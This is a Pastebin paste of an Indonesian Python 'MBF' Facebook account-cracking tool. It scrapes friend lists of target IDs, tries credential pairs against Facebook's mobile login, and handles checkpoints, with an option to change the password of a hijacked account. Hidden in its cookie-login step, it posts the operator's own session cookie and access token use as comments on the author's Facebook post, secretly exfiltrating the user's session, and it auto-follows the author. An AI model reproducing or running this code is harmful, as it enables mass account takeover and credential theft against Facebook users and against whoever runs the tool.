OBF-XIn

140.213.44.24-/sdcard/p01.py.py

Sep 23rd, 2023
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 92.82 KB | None | 0 0
  1. #----------[ IMPORT-MODULE ]----------#
  2. import os, re, sys, bs4, json, random, requests, time, datetime
  3. from bs4 import BeautifulSoup as sop   
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from datetime import datetime
  6. from rich import print as prints
  7. from rich.panel import Panel
  8. from rich.tree import Tree
  9. from rich.console import Console
  10. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  11.  
  12. #----------[ GLOBAL-NAME ]----------#
  13. id, id2, uid = [],[],[]
  14. tokene, akune = [],[]
  15. sandine, sandina = [],[]
  16. method, ugen = [],[]
  17. uamu, uadia = [],[]
  18. dump = []
  19. linku = "mbasic.facebook.com"
  20. loop, ok, cp = 0,0,0
  21. console = Console()
  22. ubah_pass, pwbaru = [],[]
  23. pwBaru, ubahP = [],[]
  24.  
  25. #----------[ USER-CRACK ]----------#  
  26. realme = random.choice(["RMX3516", "RMX3371", "RMX3461", "RMX3286", "RMX3561", "RMX3388", "RMX3311", "RMX3142", "RMX2071", "RMX1805", "RMX1809", "RMX1801", "RMX1807", "RMX1803", "RMX1825", "RMX1821", "RMX1822", "RMX1833", "RMX1851", "RMX1853", "RMX1827", "RMX1911", "RMX1919", "RMX1927", "RMX1971", "RMX1973", "RMX2030", "RMX2032", "RMX1925", "RMX1929", "RMX2001", "RMX2061", "RMX2063", "RMX2040", "RMX2042", "RMX2002", "RMX2151", "RMX2163", "RMX2155", "RMX2170", "RMX2103", "RMX3085", "RMX3241", "RMX3081", "RMX3151", "RMX3381", "RMX3521", "RMX3474", "RMX3471", "RMX3472", "RMX3392", "RMX3393", "RMX3491", "RMX1811", "RMX2185", "RMX3231", "RMX2189", "RMX2180", "RMX2195", "RMX2101", "RMX1941", "RMX1945", "RMX3063", "RMX3061", "RMX3201", "RMX3203", "RMX3261", "RMX3263", "RMX3193", "RMX3191", "RMX3195", "RMX3197", "RMX3265", "RMX3268", "RMX3269", "RMX2027", "RMX2020", "RMX2021", "RMX3581", "RMX3501", "RMX3503", "RMX3511", "RMX3310", "RMX3312", "RMX3551", "RMX3301", "RMX3300", "RMX2202", "RMX3363", "RMX3360", "RMX3366", "RMX3361", "RMX3031", "RMX3370", "RMX3357", "RMX3560", "RMX3562", "RMX3350", "RMX2193", "RMX2161", "RMX2050", "RMX2156", "RMX3242", "RMX3171", "RMX3430", "RMX3235", "RMX3506", "RMX2117", "RMX2173", "RMX3161", "RMX2205", "RMX3462", "RMX3478", "RMX3372", "RMX3574", "RMX1831", "RMX3121", "RMX3122", "RMX3125", "RMX3043", "RMX3042", "RMX3041", "RMX3092", "RMX3093", "RMX3571", "RMX3475", "RMX2200", "RMX2201", "RMX2111", "RMX2112", "RMX1901", "RMX1903", "RMX1992", "RMX1993", "RMX1991", "RMX1931", "RMX2142", "RMX2081", "RMX2085", "RMX2083", "RMX2086", "RMX2144", "RMX2051", "RMX2025", "RMX2075", "RMX2076", "RMX2072", "RMX2052", "RMX2176", "RMX2121", "RMX3115", "RMX1921"])
  27.  
  28. for Xr in range (10000):   
  29.     a='Mozilla/5.0 (Linux; Android'
  30.     b=random.randrange(1, 9)
  31.     c=random.randrange(1, 9)
  32.     d='Build/'
  33.     e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
  34.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  35.     g=random.randrange(73,112)
  36.     h='0'
  37.     i=random.randrange(4200,4900)
  38.     j=random.randrange(40,150)
  39.     k='Mobile Safari/534.36'
  40.     #l=random.choice(["UCBrowser","VenusBrowser","HiBrowser","HeadlessChrome","PaleMoon","OPR","Edge"])
  41.     l=random.choice(["VenusBrowser","HiBrowser","HeadlessChrome"])
  42.     m=random.randrange(1,9)
  43.     n=random.randrange(1,9)
  44.     o='0'
  45.     p=random.randrange(5,20)
  46.     uaku=(f'{a} {b}.{c}; {realme}) {d}{e}; wv) {f}{g}.{h}.{i}.{j} {k} {l}/{m}.{n}.{o}.{p}')
  47.     ugen.append(uaku)
  48.  
  49. #--------[ GENERATE-USER-AGENT ]----------#
  50. for generate in range(10):
  51.     a=random.randrange(1, 9)
  52.     b=random.randrange(1, 9)
  53.     c=random.randrange(7, 13)
  54.     c=random.randrange(73,100)
  55.     d=random.randrange(4200,4900)
  56.     e=random.randrange(40,150)
  57.     uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  58. def uaku():
  59.     try:
  60.         ua=open('bbnew.txt','r').read().splitlines()
  61.         for ub in ua:
  62.             ugen.append(ub)
  63.     except:
  64.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  65.         ua=open('.bbnew.txt','w')
  66.         aa=re.findall('line">(.*?)<',str(a))
  67.         for un in aa:
  68.             ua.write(un+'\n')
  69.         ua=open('.bbnew.txt','r').read().splitlines()
  70. ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
  71.  
  72. #--------[ TAHUN-AKUN ]--------#    
  73. def tahun(fx):
  74.     if len(fx)==15:
  75.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  76.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  77.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  78.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  79.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  80.         elif fx[:6] in ['100001']          :tahunz = '2010'
  81.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  82.         elif fx[:6] in ['100004']          :tahunz = '2012'
  83.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  84.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  85.         elif fx[:6] in ['100009']          :tahunz = '2015'
  86.         elif fx[:5] in ['10001']           :tahunz = '2016'
  87.         elif fx[:5] in ['10002']           :tahunz = '2017'
  88.         elif fx[:5] in ['10003']           :tahunz = '2018'
  89.         elif fx[:5] in ['10004']           :tahunz = '2019'
  90.         elif fx[:5] in ['10005']           :tahunz = '2020'
  91.         elif fx[:5] in ['10006']           :tahunz = '2021'
  92.         elif fx[:5] in ['10009']           :tahunz = '2023'
  93.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  94.         else:tahunz=''
  95.     elif len(fx) in [9,10]:
  96.         tahunz = '2008'
  97.     elif len(fx)==8:
  98.         tahunz = '2007'
  99.     elif len(fx)==7:
  100.         tahunz = '2006'
  101.     else:tahunz=''
  102.     return tahunz
  103.  
  104. #----------[ WARNA-TEMA ]----------#
  105. puti = '\x1b[1;97m'# WARNA-PUTIH
  106. mer = '\x1b[1;91m' # WARNA-MERAH
  107. kun = '\x1b[1;93m' # WARNA-KUJING
  108. hijo = '\x1b[1;92m' # WARNA-HIJAU
  109. ung = '\x1b[1;95m' # WARNA-UNGU
  110. biru = '\x1b[1;94m' # WARNA-BIRU
  111.  
  112. #----------[ WARNA-RICH ]----------#
  113. P2 = "[#FFFFFF]" # PUTIH
  114. M2 = "[#FF0000]" # MERAH
  115. K2 = "[#FFFF00]" # KUNING
  116. H2 = "[#00FF00]" # HIJAU
  117. B2 = "[#00C8FF]" # BIRU
  118. A2 = "[#AAAAAA]" # ABU-ABU
  119.  
  120. #----------[ ATUR ]----------#
  121. bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
  122. hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
  123. hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
  124. waktu = datetime.now().strftime("%X")
  125. kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
  126. # --post
  127. link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
  128.        
  129. #----------[ KOMENTAR ]----------#
  130. komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
  131. random01 = random.choice(["Acc Guru 😎"])
  132. random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
  133. random03 = random.choice(["Ah Ganteng Banget Bang 😎"])
  134. random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
  135. random05 = random.choice(["Pro Gammers Ya Bang, Keren 😎\n\n Canda Bang ðŸĪ­"])
  136.  
  137. #----------[ HAPUS ]----------#    
  138. def hapus_kukis():
  139.       try:os.remove(".cyxieoncokies.txt")
  140.       except:pass
  141.       try:os.remove(".cyxieontoken.txt")
  142.       except:pass
  143.       login_cookies()
  144.  
  145. #----------[ WAKTU ]----------#          
  146. def waktu():
  147.     now = datetime.now()
  148.     hours = now.hour
  149.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  150.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  151.     elif 15 <= hours < 18:timenow = "Selamat Sore"
  152.     elif 00 <= hours < 4:timenow = "Selamat Malam"
  153.     else:timenow = "Good Night"
  154.     return timenow
  155.      
  156. #----------[ BANNER ]----------#
  157. def logo_log():
  158.       if "win" in sys.platform:os.system("cls")
  159.       else:os.system("clear")
  160.       prints(Panel(f"""\r
  161.   _____ _____________________       ____  _____________  
  162.  /     \\______   \_   _____/       \  \/  /\______   \
  163. /  \ /  \|    |  _/|    __)  ______  \    /  |       _/
  164. /    Y    \   |   \|     \ /_____/  /     \ |    |   \
  165. \____|__  /______  /\___  /          /___/\ \ |____|_  /
  166.        \/       \/     \/                 \_/        \/  
  167. """,width=80,padding=(0,8),style=f"#AAAAAA"))
  168.                                                                                          
  169.                                                                                
  170. #----------[ LOGIN-COKIES ]----------#                
  171. def login_cookies():
  172.     try:
  173.         logo_log()
  174.         ses = requests.Session()
  175.         prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  176.         cookie = input(f"{puti}[{mer}â€Ē{puti}] Cokies {hijo}: ")
  177.         cookies = {'cookie':cookie}
  178.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  179.         req = ses.get(url,cookies=cookies); set = re.search('act=(.*?)&nav_source',str(req.content)).group(1); nek = '%s?act=%s&nav_source=no_referrer'%(url,set); roq = ses.get(nek,cookies=cookies); tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1); print(f"{puti}[{mer}â€Ē{puti}] Token {hijo}: {tok}"); requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie}); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies); ken = open(".cyxieontoken.txt", "w").write(tok); cok = open(".cyxieoncokies.txt", "w").write(cookie)
  180.         prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
  181.         suk = input(f"[â€Ē] TEKAN ENTER ] ")
  182.         menu()
  183.            
  184.     except Exception as e:
  185.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  186.     except:
  187.         pass
  188.        
  189. def follow():
  190.     try:
  191.         ses = requests.Session()
  192.         cookie = open('.cyxieoncokies.txt','w').read()
  193.         link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
  194.         kontol = link.find("a", string="Ikuti").get("href")
  195.         ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
  196.     except:
  197.          pass
  198.  
  199. #----------[ BAGIAN-MENU ]----------#                
  200. def menu():
  201.         try:
  202.             token = open('.cyxieontoken.txt','r').read()
  203.             cok = open('.cyxieoncokies.txt','r').read()
  204.             tokene.append(token)
  205.             try:
  206.                 sys = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
  207.                 useridz = json.loads(sys.text)['id']
  208.                 username = json.loads(sys.text)['name']
  209.             except KeyError:
  210.                 prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  211.         except requests.exceptions.ConnectionError:
  212.             prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);exit()
  213.         except IOError:
  214.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  215.         except IOError:
  216.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);hapus_kukis()      
  217.         try:
  218.             date = requests.get("http://ip-api.com/json/").json()
  219.         except KeyError:
  220.             date = " "
  221.         try:
  222.             ip = date["query"]
  223.             kartu = date["as"]
  224.             negara = date["country"]
  225.             wilayah = date["city"]
  226.         except KeyError:
  227.             ip = " "
  228.             kartu = " "
  229.             negara = " "  
  230.             wilayah = " "
  231.         except:
  232.             pass
  233.         logo_log()
  234.         prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} \t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User  Id [green]: {useridz}   [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status   [green]: Premium \t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} \t [white][[red]÷[white]] City    [green]: {wilayah}",width=80,padding=(0,6),style=f"#AAAAAA"))
  235.         prints(Panel(f" [white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"#AAAAAA"))
  236.         prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF TAPYES \t [white][[red]06[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF DUMP \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"#AAAAAA"))
  237.         xxx = input(f"[â€Ē] MENU : ")
  238.         if xxx in ['01','1']:krek_publik()
  239.         elif xxx in ['02','2']:cek_tapyes()
  240.         elif xxx in ['03','3']:krek_file()
  241.         elif xxx in ['04','4']:krek_email()
  242.         elif xxx in ['05','5']:hasil_ok()
  243.         elif xxx in ['06','6']:hasil_cp()
  244.         elif xxx in ['07','7']:dump_file()
  245.         elif xxx in ['00','0']:prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  246.         else:
  247.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  248.            
  249. #----------[ CRACK-PUBLIK  ]----------#            
  250. def krek_publik():
  251.     try:
  252.         token = open('.cyxieontoken.txt','r').read()
  253.         cok = open('.cyxieoncokies.txt','r').read()
  254.     except IOError:
  255.          prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  256.     try:
  257.         prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
  258.         kumpulkan = int(input(f'[â€Ē] BERAPA : '))
  259.     except ValueError:
  260.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  261.     if kumpulkan<1 or kumpulkan>100:
  262.         prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  263.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
  264.     ses=requests.Session()
  265.     bilangan = 0
  266.     for KOTG49H in range(kumpulkan):
  267.         bilangan+=1
  268.         Masukan = input(f'[â€Ē] ID 0'+str(bilangan)+f' : ')
  269.         uid.append(Masukan)
  270.     for user in uid:
  271.         try:
  272.            head = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36'}
  273.            graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(1000000)&access_token='+tokene[0], cookies = {'cookies':cok},headers=head).json()
  274.            for xr in graph['friends']['data']:
  275.                try:
  276.                    woy = (xr['id']+'|'+xr['name'])
  277. #                  if "10007"  in woy:pass
  278. #                  elif "10008"  in woy:pass    
  279.                    if woy in id:pass
  280.                    else:id.append(woy)
  281.                except:continue
  282.         except (KeyError,IOError):
  283.           pass
  284.         except requests.exceptions.ConnectionError:
  285.               prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);menu()
  286.     try:
  287.           prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  288.           atur_id()
  289.     except requests.exceptions.ConnectionError:
  290.           prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  291.     except (KeyError,IOError):
  292.           prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  293.  
  294. #----------[ CHECK-TAPYES  ]----------#              
  295. def cek_tapyes():
  296.     dirs = os.listdir('MBF-CP')
  297.     prints(Panel.fit(f"%sMASUKAN FILE HASIL CRACK YG TERSIMPAN DI FOLDER CP"%(P2),style=f"#AAAAAA"))
  298.     for file in dirs:
  299.         print(f"%s\x1b[1;92m Âŧ \033[0m%s"%(kun,file));time.sleep(0.07)
  300.     try:
  301.         print(f"\n%s\x1b[1;92m Âŧ%s\033[0m Masukan file\033[0m [\x1b[0m contoh%s: %sMBF-CP.txt\033[0m ]"%(kun,puti,kun,kun));opsi()
  302.     except IOError:
  303.         prints(Panel(f"%sFILE TIDAK ADA"%(P2),style=f"#AAAAAA"));time.sleep(2);menu()
  304.        
  305. #--> Opsi
  306. def opsi():
  307.     CP = ("MBF-CP/")
  308.     romi = input(f"%s\x1b[1;92m Âŧ%s \033[0mNama file %s\x1b[1;92m : %s"%(kun,puti,mer,kun))
  309.     if romi == "":
  310.         print(f"%s\x1b[1;92m Âŧ \033[0misi yang benar "%(mer));time.sleep(2)
  311.         opsi()
  312.     try:
  313.         file_cp = open(CP+romi, "r").readlines()
  314.     except IOError:
  315.         exit(f"\n%s\x1b[1;92m Âŧ \033[0mnama file %s\033[0m tidak tersedia"%(mer,romi))
  316.     print(f"%s\x1b[1;92m Âŧ%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(puti,hijo))
  317.     pw=input(f"\n%s\x1b[1;92m Âŧ%s \033[0mubah sandi pada akun one tab? y/t %sÂŧ %s"%(puti,hijo,hijo,kun))
  318.     if pw in['y','Y']:
  319.         ubah_pass.append("ubah_sandi")
  320.         pw2 = input(f"%s\x1b[1;92m Âŧ%s \033[0mmasukan sandi %sÂŧ %s"%(puti,hijo,hijo,kun))
  321.         if len(pw2) <= 5:
  322.             print(f"%s\x1b[1;92m Âŧ sandi minimal 6 karakter "%(mer))
  323.         else:
  324.             pwbaru.append(pw2)
  325.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  326.     print (f"%s\x1b[1;92m Âŧ%s\033[0m total akun Anda %s: %s%s "%(puti,kun,mer,kun,str(len(file_cp))))
  327.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  328.     nomor = 0
  329.     for fb in file_cp:
  330.         akun = fb.replace("\n","")
  331.         ngecek  = akun.split("|")
  332.         nomor+=1
  333.         print(f"\n%s%s.%s \033[0mlogin akun %sÂŧ %s%s"%(hijo,str(nomor),hijo,hijo,kun,akun.replace(" ÂŧÂŧÂŧ ","")));time.sleep(0.07)
  334.         try:
  335.             mengecek(ngecek[0].replace("",""), ngecek[1])
  336.         except requests.exceptions.ConnectionError:
  337.             continue
  338.     print(f"\n%s\x1b[1;92m Âŧ %s \033[0mSUCCES CHECKING ACCOUNT"%(puti,hijo));time.sleep(0.07)
  339.     input(f"%s\x1b[1;92m Âŧ%s [%s Enter%s ] "%(hijo,hijo,puti,hijo));menu()
  340.    
  341. data = {}
  342. data2 = {}
  343.  
  344. def mengecek(user,pw):
  345.     global loop,ubah_pass,pwbaru
  346.     session = requests.Session()
  347.     rc = random.choice
  348.     url = rc(["free.facebook.com","mbasic.facebook.com"])
  349.     session.headers.update(
  350.     {
  351.     "Host": url,
  352.     "cache-control": "max-age=0",
  353.     "upgrade-insecure-requests": "1",
  354.     "origin": "https://"+url,
  355.     "content-type": "application/x-www-form-urlencoded",
  356.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  357.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  358.     "x-requested-with": "mark.via.gp",
  359.     "sec-fetch-site": "same-origin",
  360.     "sec-fetch-mode": "navigate",
  361.     "sec-fetch-user": "?1",
  362.     "sec-fetch-dest": "document",
  363.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  364.     "accept-encoding": "gzip, deflate",
  365.     "accept-language": "en-US,en;q=0.9"
  366.     }
  367. )
  368.     soup=bs4.BeautifulSoup(session.get("https://"+url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  369.     link=soup.find(
  370.     "form",
  371.     {
  372.     "method":"post"
  373.     }
  374.     )
  375.     for x in soup("input"):
  376.         data.update(
  377.         {x.get("name"):x.get("value")}
  378.         )
  379.     data.update(
  380.     {
  381. "email":user,
  382. "pass":pw
  383.     }
  384. )
  385.     urlPost=session.post("https://"+url+link.get("action"),data=data)
  386.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  387.     if "c_user" in session.cookies.get_dict():
  388.         if "Akun Anda Dikunci" in urlPost.text:
  389.             print(f"\r%s\x1b[1;92m Âŧ\033[0m akun terkunci sesi new"%(mer))
  390.         else:
  391.             print(f"\r\x1b[1;92m Âŧ%s\033[0m akun tidak checkpoint, silahkan anda login "%(hijo))
  392.             open('MBF-OK/MBF-OK.txt', 'a').write(" %s|%s\n" % (user,pw))
  393.     elif "checkpoint" in session.cookies.get_dict():
  394.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  395.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  396.         link2=response.find(
  397.         "form",
  398.         {"method":"post"}
  399.         )
  400.         listInput=[
  401.         'fb_dtsg',
  402.     'jazoest',
  403. 'checkpoint_data',
  404.     'submit[Continue]',
  405.           'nh'
  406.           ]
  407.         for x in response(
  408.         "input"
  409.         ):
  410.             if x.get("name") in listInput:
  411.                 data2.update(
  412.                 {x.get("name"):x.get("value")}
  413.                 )
  414.         an=session.post("https://"+url+link2.get("action"),data=data2)
  415.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  416.         cek=[cek.text for cek in response2.find_all(
  417.         "option"
  418.         )
  419.     ]
  420.         number=0
  421.         print(f"\r%s Âŧ %s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(hijo,kun,puti,str(len(cek)),kun,hijo));time.sleep(0.07)
  422.         if(len(cek)==0):
  423.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  424.                 if "ubah_sandi" in ubah_pass:
  425.                     dat,dat2={},{}
  426.                     but=[
  427.                     "submit[Yes]",
  428.                 "nh",
  429.             "fb_dtsg",
  430.                 "jazoest",
  431.                        "checkpoint_data"
  432.                        ]
  433.                     for x in response("input"):
  434.                         if x.get("name") in but:
  435.                             dat.update(
  436.                             {x.get("name"):x.get("value")}
  437.                             )
  438.                     ubahPw=session.post("https://"+url+link2.get("action"),data=dat).text
  439.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
